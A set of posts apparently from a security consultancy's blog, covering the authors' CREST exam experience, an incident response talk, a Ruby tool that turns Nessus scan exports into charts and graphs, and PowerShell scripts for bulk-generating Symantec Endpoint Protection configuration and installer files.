At the end of September the technical establishment team descended on the bustling metropolis that is Canberra to sit the three exams that CREST Australia offer: CREST Registered Tester (CRT), CREST Certified Tester – Applications (CCT App) and CREST Certified Tester – Infrastructure (CCT Inf). We all sat these three exams over a period of three days; to be brutally honest, this was a horrendous experience – 15+ hours of the hardest exams that I’ve ever experienced in the space of 3 days. I can’t remember being so stressed in my entire life. Pro tip: don’t try to do all the exams back-to-back.

In the end somehow I pulled the rabbit from the hat and achieved the CCT certification necessary to go on to become an assessor.  We spent the next few days learning the ins and outs of exam invigilation (yup, this is a real word), then closed out the week by running the very first CREST Australia exams for a packed house of candidates.

Who knows what the future holds for CREST Australia. Asterisk are hoping that the various arms of government, regulators and corporations will recognise the value of CREST certification and will incorporate it into their evaluation process for pen-testing providers. While there is absolutely no assertation that a pen-testing company needs to be CREST certified in order to deliver quality results, we believe that CREST certification provides clients with a degree of confidence that pen-testing will be performed to a high, repeatable standard.

Personally, I’d really like to see more niche providers in the game. There are a few of us and I think we do great work. I’d like to break down some of the ingrained corporate mentality that for security testing to be done well, it needs to be done by a Big 4 company / IBM.  Maybe CREST is a way for us to start competing on more of a level footing.

TLDR; CREST exams are really hard; don’t think that you can pass without extensive prep and/or experience. If you’re from a client organisation, CREST certified testers & organisations know what they are on about.

Our synopsis, just in case you wanted to learn a bit more:

Over the last several years we have seen the trend of large data breaches continue. Incident response is critical during these incidents and done well, can protect the reputation and customer base of the organisation involved. In this presentation we will review select case studies of security incidents in 2012, and ask if these ‘black swans’ are really black any more. We will then pose the concept that organisations should assume that the nightmare has already occurred, and discuss the importance of planning your incident response from end to end, including data acquisition and handling, event detection and triage, containment and response, and of course your communication strategy.

Supporting this foray into incident response we’ll also be covering available maturity models, and incident frameworks. The combination of these will give you a good starting point for reviewing and growing the capability you have within your organisation.

So come on down and say ‘hi!’.

I don’t believe many would argue that the default Nessus web UI is ideal for analysing bulk data. And I’m not the only person to construct something to parse and process Nessus files into HTML/XLS files, you can see Jason Oliver’s work here. Hence, Prenus, the Pretty Nessus .. thing. Combining my love of Nessus, visualisation, and hacking stuff together.

Following the same principles as Burpdot, Prenus simply consumes Nessus version 2 exported XML files, and outputs the data in a few different formats. Initially, I was interested in finding a better way to analyse the results (Personally, I find the the Flash web interface frustrating), so the first output was a collection of static HTML files with Highcharts generated pie and bar graphs.

For example, the below creates a folder called ‘report’ with a bunch of HTML files:

$ prenus -t html -o report *.nessus

The top of the Prenus index, highlighting unique Nessus criticality ratings, and a split of the top 20 hosts

Vulnerability Overview page

Vulnerability Detail

Host Overview

Not just wanting to end there, I thought it’d be useful to also generate a simple 2 column CSV formatted output that could be consumed and processed by Afterglow.

For example:

$ prenus -t glow *.nessus
46015 (4),10.0.0.5
46015 (4),10.0.0.20
46015 (4),10.0.0.15
53532 (4),10.0.0.5
53532 (4),10.0.0.20
53532 (4),10.0.0.15
..

But, if piped through Afterglow with our prenus.properties file, and then through Graphviz (in this instance Neato), you get something like this (I had to run this from within the afterglow/src/perl/graph folder):

$ prenus -t glow ~/prenus/*.nessus | ./afterglow.pl -t -c ~/prenus/prenus.properties | neato -v -Tpng -Gnormalize=true -Goutputorder=edgesfirst -o prenus.png

Prenus Afterglow Example

If you prefer a Circos-style graph you can do that too. The circos output mode generates a tab formatted table output which can be consumed by the Circos “TableViewer” tool. Wrapping that together is relatively simple (I use the word simple here lightly, getting Circos working on OS X was a bit of a pain due to GD deps, but, super simple to do on Linux). The following two commands assume the following directory layout:


~/
  circos/
    circos-0.62-1/
    circos-tools-0.16/
      tools/
        tableviewer/
          img/


Executed from within the “tableviewer” folder, the following should create a file called “prenus.png” in the “img” folder.

$ prenus -t circos ~/prenus/*.nessus | bin/parse-table -conf samples/parse-table-01.conf | bin/make-conf -dir data
$ ../../../circos-0.62-1/bin/circos -conf etc/circos.conf -outputfile prenus

Prenus Circos Graph Example

Potentially useful for you analysis, or maybe just some prettiness to add to your reports. Any methods or tools that can help dig through stacks of data are pretty useful to us. The above diagram has a few layout issues, so if you want to just analyse your critical severity issues you can include the “-s 4″ flag to prenus.

I’ve got an ad-hoc list of enhancements which include:

1. 1. Construct an EC2 bootstrap to allow you to deploy this on a throw-away environment so as not having to fight with the damn dependencies like I did
2. 2. Look at using d3.js for ALL chart generation instead
3. 3. Perhaps just looking at a standalone Rails app for your own deployment (either local, Heroku or whatever)

Let me know what you think, or, just grab the code and have a play yourself: https://github.com/AsteriskLabs/prenus

I’m way too impatient to do it manually, and after automating the sylink creation (see previous post), I got the idea of automating the setup.exe creation.

Prerequistes:
Ok, first thing you will need to do is setup your sylink files: instructions here

You will need 7-zip on your SEPM, this allows us to update the contents of the zip archive.

Export a setup msi directory from your SEPM, do not create a single exe file.
Once you have done this, zip up the output into a regular zip file call input.zip, this will be your $setup_src

Running the Script:
1) put all of your sylink files into a directory structure like this:

Sylink/
  domain1/
    group1_sylink.xml
    group2_sylink.xml
  domain2/
    group3_sylink.xml
    group4_sylink.xml

2) create a domains.txt file in the Sylink/ directory:

domain1
domain2

3) create a groups.txt (or use your previous groups.txt from the sylink creation) and put one in each domain directory (ie: Sylink/domain1/groups.txt). The groups.txt has a list of each group:

group1
group2

4) find the makesfx.exe: it is on the SEPM, in your SEPM install path: /Symantec Endpoint Protection Manager/tomcat/bin, and copy it to a convenient location. You will point the script variable $MakeSFX to it.

5) edit the script variables, make sure the paths point to the right places. Note for $bits and $type, I manually update these depending if im exporting 32 or 64 bit packages and Server or Desktop packages (depending on the SEP features in the package)

$update = @"
C:\"Program Files"\7-Zip\7z.exe u
"@
$delete = @"
C:\"Program Files"\7-Zip\7z.exe d
"@
$MakeSFX = "D:\temp\MakeSFX.exe"
$setup_src = "D:\temp\input.zip"
$setup_dst = "D:\Program Files\Symantec\SEP Agents\bulk\"
$sylink_dir = "D:\Program Files\Symantec\SEP Agents\Sylink\"
$domains_txt = $sylink_dir + "domains.txt"
$bits = "_x32"
$type = "_Desktop"

6) run the script and marvel at how much faster you can extrude out (think sausage factory ) setup files!

You can pull the scripts from Asterisk Labs Github repository

Im pretty sure I have hit the Win inflection on this chart:

Actually, this script generated about 40 setup exe’s for me in 20 minutes. If it takes about 5 minutes to export a setup.exe from the SEP console, Im certain I’m in front, even with script setup time, and definately with reduction in Repetitive Click Boredom.

The file on the SEP v11 client called Sylink.xml tells the client which server to connect to, what the server certificate is and which group the client should join on the SEPM (among other things).

There is a tool on the SEP media part 2 in Tools\SylinkDrop.exe which can be used to swap the Sylink.xml file on the SEP client.

During these projects I was looking for a way to simplify the creation of the sylink.xml file, the projects both involved a large number of client groups – I didnt really want to manually export the communication settings for over 30 groups!

This lead me on a powershell path of discovery, and the realisation that powershell could load an xml file as a data object, manipulate it, and then write it out! This was exactly what I needed.

The process I used to generate the sylink files was:
- Create the group structure in the SEPM
- Create a groups.txt file: this file had a list of SEP client groups per line
- export a sylink.xml file from the destination SEPM: for example, download the communication settings file from the “My Company” top
level group.
- run the update_sylink.ps1 powershell script
- deploy the sylink files to the SEP agents with SylinkDrop.exe

The groups.txt file contained lines like:

My Company\Desktops
My Company\Desktops\WA
My Company\Desktops\NSW
My Company\Desktops\NT
My Company\Desktops\QLD
My Company\Desktops\SA
My Company\Desktops\TAS
My Company\Desktops\VIC

Note that SEP is case sensitive – the groups.txt file must match the group names in the SEPM.

When you export the sylink.xml, you will end up with a file that looks like:

<?xml version="1.0" encoding="UTF-8"?><ServerSettings DomainId="BC7791940DEADBEEF3A86829"><CommConf><AgentCommunicationSetting AlwaysConnect="1" CommunicationMode="PULL" DisableDownloadProfile="0" Kcs="18F84DEADBEEF2CF46D" PullHeartbeatSeconds="1800" PushHeartbeatSeconds="300" UploadCmdStateHeartbeatSeconds="300" UploadLearnedApp="0" UploadLogHeartbeatSeconds="300" UploadOpStateHeartbeatSeconds="300"/> <LogSetting MaxLogRecords="100" SendingLogAllowed="1" UploadProcessLog="1" UploadRawLog="1" UploadSecurityLog="1" UploadSystemLog="1" UploadTrafficLog="1"/>
<RegisterClient PreferredGroup="My Company\Workstations (location based)" PreferredMode="1"/> <ServerList FreezeSmsList="0" Name="Default Management Server List"> <ServerPriorityBlock Name="List0"> <Server Address="10.10.10.10" HttpPort="8014" VerifySignatures="1"/> <Server Address="SEPM"
HttpPort="8014" VerifySignatures="1"/> <Server Address="SEPM" HttpPort="8014" VerifySignatures="1"/> </ServerPriorityBlock> </ServerList> <ServerCertList>

</CommConf></ServerSettings>

The powershell script can actually update any token in the xml file, we are just using it to update the PreferredGroup item:

$xml_orig = New-Object XML
$xml_orig.Load("Sylink.xml")

$j = $i.Replace("\", "_")
$filename = $j.Replace(" ", "_")
$xml_new.Save($filename + "_Sylink.xml")
remove-variable xml_new
}

The script needs the groups.txt and sylink.xml to be in its currect directory.
The sylink files will be output to the currect directory, with the group name preceding, eg: My_Company_Desktops_WA_Sylink.xml.
All that is left is to run SylinkDrop -s “target sylink.xml” on the agents to repoint them to the new SEPM. I have used both Symantec Management Platform (Altiris) to do this, and AD group policy.

You can pull the scripts from Asterisk Labs Github repository

I have used this script to save a lot of time generating sylink files for migrations. This also gave me an idea for automating the creation of a large number of setup.exe files for SEP deployments: Stay tuned for more on that!

Looking back over the process I’ve certainly learned a lot about Ruby, Rails and Devise, plus the whole Ruby Gems eco-system. What’s surprising though, is the number of people out there who appear to be using the gem. At a high level the breakdown is as follows:

• Gem downloads: 1,317
• Github watchers: 12
• Github forks: 6 (1 of which appears to be very proactive and hopefully we’ll get some pulls)

So far though, we’ve only had a few queries come in. But, to try and capture them in a more appropriate place I’ve started a Google Groups which, if you wish, you can sign up to and post queries. Or, if it’s easier, just hit us up on twitter: @xntrik or @asteriskinfosec.

Cheers!